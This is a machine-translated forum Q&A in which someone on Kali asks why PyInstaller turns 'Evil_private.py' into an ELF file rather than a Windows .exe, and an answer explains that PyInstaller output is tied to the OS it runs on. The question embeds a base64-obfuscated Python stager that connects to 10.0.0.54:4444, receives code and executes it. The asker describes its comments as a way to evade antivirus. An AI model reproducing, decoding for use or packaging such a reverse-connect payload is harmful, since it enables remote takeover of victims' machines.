2017-10-01 90 views
-2

我正在编译一个python代码在kali。这些是PyInstaller的以下设置:PyInstaller输出.ELF ins .EXE上kali

pyinstaller -F /root/Desktop/Evil_private.py -i Evil_Private.exe 

并且代码只是用来避免反病毒检测的一些注释。以下代码是:

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]] 
('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KI0kgYW0gbm90IGEgc2NyaXB0IGtpZGRpZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRyeToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm5lY3QoKCcxMC4wLjAuNTQnLDQ0NDQpKQ0KCQlicmVhaw0KCWV4Y2VwdDoNCgkJdGltZS5zbGVlcCg1KQ0KbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQ0KZD1zLnJlY3YobCkNCiNOaWNlIEFOVEktViBicm8sIFdIT0FBQUENCndoaWxlIGxlbihkKTxsOg0KCWQrPXMucmVjdihsLWxlbihkKSkNCmV4ZWMoZCx7J3MnOnN9KQ0K'))) 

当我编译它时,我收到.ELF文件而不是.EXE。也许我可以让目录错误?我不认为这是如此,因为我检查了与PyInstaller相关的大多数目录。我已阅读PyInstaller的指南,但它似乎没用。任何解决方案

回答

1

the documentation

PyInstaller的输出是特定于活动操作系统和Python的活动版本。这意味着,以制备用于分配:

  • 一个不同的操作系统
  • 不同版本的Python
  • 32位或64位操作系统

你上运行PyInstaller该版本的Python下的操作系统。执行PyInstaller的Python解释器是该包的一部分,它特定于操作系统和字大小。

您无法在运行其Python的Kali下生成一个.exe文件。